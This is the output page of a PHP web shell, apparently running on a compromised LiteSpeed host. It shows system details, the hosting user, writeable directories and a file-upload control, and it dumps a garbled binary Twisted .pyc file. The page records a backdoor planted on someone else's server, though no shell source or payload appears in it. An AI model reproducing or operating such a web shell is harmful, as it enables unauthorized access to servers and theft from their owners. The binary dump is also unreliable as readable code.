https://t.me/RX1948
Server : LiteSpeed
System : Linux host 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User : idnco5810 ( 1093)
PHP Version : 8.2.29
Disable Function : NONE
Directory :  /lib/python3/dist-packages/twisted/scripts/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/twisted/scripts/__pycache__/_twistw.cpython-310.pyc
o

�b�@sdddlZddlZddlmZddlmZmZmZddlm	Z	Gdd�dej
�Z
Gdd�dej�ZdS)	�N)�	copyright)�app�internet�service)�logc@s"eZdZdZgd�gZdd�ZdS)�
ServerOptionszUsage: twistd [options])�nodaemon�nz(for backwards compatibility).cCs2tdtj��|jd�ttj|jd�t��dS)z5
        Print version information and exit.
        z$twistd (the Twisted Windows runner) )�fileN)�printr�version�stdout�sys�exit��self�r�9/usr/lib/python3/dist-packages/twisted/scripts/_twistw.py�opt_versions
�zServerOptions.opt_versionN)�__name__�
__module__�__qualname__�synopsis�optFlagsrrrrrrs
�rc@s eZdZdZdd�Zdd�ZdS)�WindowsApplicationRunnerzn
    An ApplicationRunner which avoids unix-specific things. No
    forking, no PID files, no privileges.
    cCs$tj|_tj|_t�|jd�dS)z4
        Do pre-application-creation setup.
        �rundirN)rr
�	oldstdout�stderr�	oldstderr�os�chdir�configrrrr�preApplication'sz'WindowsApplicationRunner.preApplicationcCs^t�|j���t�|j|jd�t�t�ddd��d�|�	d|j
|j�t�
d�dS)z<
        Start the application and run the reactor.
        �no_saveg�������?cSsdS)Nrrrrr�<lambda>5sz:WindowsApplicationRunner.postApplication.<locals>.<lambda>rNzServer Shut Down.)r�IService�application�privilegedStartServicer�startApplicationr!r�TimerService�startReactorrrr�msgrrrr�postApplication/s
z(WindowsApplicationRunner.postApplicationN)rrr�__doc__r"r,rrrrr!sr)
rr�twistedr�twisted.applicationrrr�twisted.pythonrr�ApplicationRunnerrrrrr�<module>s

https://t.me/RX1948 - 2025